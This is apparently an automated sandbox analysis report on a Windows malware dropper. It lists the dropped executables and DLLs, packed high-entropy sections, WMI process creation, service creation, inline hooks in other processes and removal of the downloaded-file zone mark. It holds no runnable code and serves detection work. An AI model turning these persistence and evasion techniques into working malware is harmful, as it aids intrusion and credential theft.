Source: xZ66PEkwf7Jo3irS4cyXoDE4.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x6730e
Source: _iscrypt.dll.25.dr	Static PE information: real checksum: 0x0 should be: 0x89d2
Source: PowerControl_Svc.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x6730e
Source: 1Mr090DD.exe.21.dr	Static PE information: real checksum: 0x0 should be: 0x416511
Source: xn_K5RfR4QgPpJh8VO4QF2yy.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0xa4406
Source: ze5tCopHgrlItmsTQGIZcUK1.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x6730e
Source: setup331[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x17622b
Source: is-L9EAU.tmp.17.dr	Static PE information: real checksum: 0x0 should be: 0xaba64
Source: vpgy.cpl.14.dr	Static PE information: real checksum: 0x0 should be: 0x1a2660
Source: ccsearcher.exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x45656f
Source: lxZuX__vSUgWYReh9N0WlQOa.exe.0.dr	Static PE information: real checksum: 0x1a90a should be: 0x18b03
Source: TrdngAnr6339[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0xa4406
Source: 3IvnW3Tihs6HZPHX18cvdMMt.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x27a405
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3c91f5
Source: _RegDLL.tmp.25.dr	Static PE information: real checksum: 0x0 should be: 0x9783
Source: Service[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x6730e
Source: 0RWCjOTmPGy8vyz30vD2T7Gp.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x17622b
Source: Service[1].exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x6730e
Source: is-46B6D.tmp.25.dr	Static PE information: real checksum: 0x0 should be: 0xab8cc
Source: yare1095[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3c91f5
Source: _setup64.tmp.25.dr	Static PE information: real checksum: 0x0 should be: 0x8cae

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_4391484

Jump to behavior

Source: initial sample	Static PE information: section name: .boot entropy: 7.863043676785183
Source: initial sample	Static PE information: section name: entropy: 7.923478771710719
Source: initial sample	Static PE information: section name: entropy: 7.923478771710719
Source: initial sample	Static PE information: section name: __ entropy: 7.628274118411703
Source: initial sample	Static PE information: section name: .text entropy: 7.4117259139148315

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files to the document folder of the user

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

File created: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe

Jump to dropped file

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

File created: C:\Users\user\AppData\Local\Temp\vpgy.cpl

Jump to dropped file

Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\TrdngAnr6339[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	File created: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\xn_K5RfR4QgPpJh8VO4QF2yy.exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\Roaming\1Mr090DD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\installer[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	File created: C:\Users\user\AppData\Local\Temp\vpgy.cpl	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe	File created: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	File created: C:\Users\user\AppData\Local\Temp\db.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Program Files (x86)\ccSearcher\is-46B6D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Program Files (x86)\ccSearcher\ccsearcher.exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\Roaming\I1E4fVux.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	File created: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	File created: C:\Program Files (x86)\ccSearcher\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\setup331[1].exe	Jump to dropped file

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: 16_2_00981810 OpenSCManagerA,DeleteFileA,DeleteFileA,CopyFileA,OpenServiceA,CloseServiceHandle,GetUserNameA,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

16_2_00981810

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: AB0005 value: E9 FB BF 2B 77
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 77D6C000 value: E9 0A 40 D4 88
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: AC0008 value: E9 AB E0 2E 77
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 77DAE0B0 value: E9 60 1F D1 88
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: AD0005 value: E9 CB 5A 07 76
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 76B45AD0 value: E9 3A A5 F8 89
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 2590005 value: E9 5B B0 5D 74
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 76B6B060 value: E9 AA 4F A2 8B
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 25A0005 value: E9 DB F8 F7 74
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 7751F8E0 value: E9 2A 07 08 8B
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 25B0005 value: E9 FB 42 F9 74
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory written: PID: 6420 base: 77544300 value: E9 0A BD 06 8B
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Memory written: PID: 6444 base: EC0005 value: E9 FB 99 ED 76
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Memory written: PID: 6444 base: 77D99A00 value: E9 0A 66 12 89
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Memory written: PID: 6444 base: ED0007 value: E9 7B 4C F0 76
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Memory written: PID: 6444 base: 77DD4C80 value: E9 8E B3 0F 89

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

File opened: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5HQ15BTC-BI2Q-S1J7-YRC6-SZJY3C3CP8J7}\650478DC7424C37C 1

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: 16_2_009A6B70 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

16_2_009A6B70

Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
